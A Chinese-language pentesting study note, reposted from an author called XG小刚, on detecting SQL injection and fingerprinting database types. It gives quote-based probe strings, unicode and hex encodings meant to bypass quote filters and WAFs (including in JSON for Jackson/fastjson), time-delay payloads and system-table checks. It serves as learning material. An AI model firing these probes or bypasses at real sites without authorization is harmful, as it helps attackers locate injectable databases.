发现注入和判断数据库(SQL注入)
The following article is from XG小刚 Author XG小刚
继续补补基础笔记
Oracle、Mssql(SQL Server)、Access、Mysql、postgresql等
NoSQL数据库:mongodb、Redis
判断SQL注入
我在挖sql时觉得两个单引号是足以判断有没有sql注入了
输入一个单引号报错,再输入一个单引号不报错,%90是sql注入没跑了
但正常情况他们都会过滤单引号,我们可以unicode编码尝试绕过单引号过滤
inde.php?id=1%u0027
然后现在json数据也特别流行,json处理库用的最多的就数 Jackson和fastjson
而 Jackson 和 fastjson 是有 unicode 和 hex 的编码特性,所以我们遇到json数据也可以尝试编码绕过单引号进行判断存不存在sql注入。
{"key":"\u0027\u0022"}
{"key":"\x27\u0022"}
下图就是在一个项目使用Unicode绕过单引号进行注入。
判断数据库类型
access数据库基本遇不到了,可以不用管了
下面列出了很多种判断数据库类型的方法,为啥列出很多种就是怕有waf拦截,多尝试几个更好去判断。
端口判断
Oracle:1521
mssql:1433
Mysql:3306
系统架构组合识别
asp、.net:mssql
php:mysql、postgresql
java:oracle、mysql
iis:mssql
apache:mysql、postgresql
报错信息判断
在注入点后直接加上单引号,根据服务器的报错信息来判断数据库。错误提示Microsoft JET Database Engine 错误 '80040e14',说明是通过JET引擎连接数据库,则表明数据库为ACCESS数据库。
mssql有眼就能判断
oracle数据库,报错信息通常带有ORA-xxx
其他数据库报错信息不常遇到。
特殊符号判断
accsee注释符:
Access中没有专门的注释符号
使用空字符"NULL"(%00)当作注释符
mssql、oracle、postgresql注释符:
--单行注释
/*...*/多行注释
mysql的注释符:
#单行注释后面所有内容,换行后注释失效
--+和#号一样,但是后边必须有个空格,没空格则视为两个减号
/*aaa*/可用多行注释
注释内容在sql语句中解析为空格
根据"--"和"--+"和"#"的不同基本判断出是不是mysql数据库
堆叠注入";"也是常用的符号
;--
Oracle不支持对的查询,因此如果返回错误,则说明很可能是Oracle数据库。
字符串拼接判断
mssql
select 'a'+'b'='ab'
mysql
select 'a'+'b'='ab'
select 'a'+'b'='a''b'
select 'a'+'b'='a'||'b'
select 'ab'=concat('a','b')
oracle
select 'a'+'b'='a'||'b'
select 'ab'=concat('a','b')
postgresql
select 'a'+'b'='a'||'b'
select 'ab'=concat('a','b')
但感觉这种判断不是很准。
内置函数判断
mssql
len(string)--返回string的长度
waitfor delay '0:0:3' --延时3秒
mysql
length(string) #返回string的长度
sleep(3) -- 延时3秒
postgresql
length(string)--返回string的长度
length(string, 'UTF8')--string在给定编码中的字符数。string必须在这个编码中有效。
pg_sleep(3) --延时3秒
select extract(dow from now())
oracle
Length(string)--计算string所占的字符长度
Lengthb(string)--计算string所占的字符长度
1=dbms_pipe.receive_message('RDS',3)--延时3秒
trunc+(1.1)=1
bitand(1,1)
基本靠返回长度函数就能判断清楚了。
特殊语句
mssql使用@@version变量返回当前的版本信息
select @@version;
@@pack_received ,@@rowcount
postgresql使用version()函数
select version();
mysql则是@@version和version()两种方式都支持
select @@version;
select version();
select @@version,version();
oracle查看数据库版本则不同
select * from v$version;
select banner from v$version;
select banner from sys.v_$version where rownum = 1;
其他
区分asscee和mssql
' and exists (select count(*) from sysobjects) >0
返回正常,就是MSSQL数据库
' and exists (select count(*) from msysobjects) >0
两条都不正常,那就是ACCESS数据库了,WEB会提示我们“记录无法读取;'msysobjects'没有读取权限”,如果返回的是这个错误信息的话,那就证明是ACCESS数据库了
数据库手册
http://c.biancheng.net/mysql/function/
http://www.postgres.cn/v2/document
https://www.shouce.ren/api/oracle/
关联文章: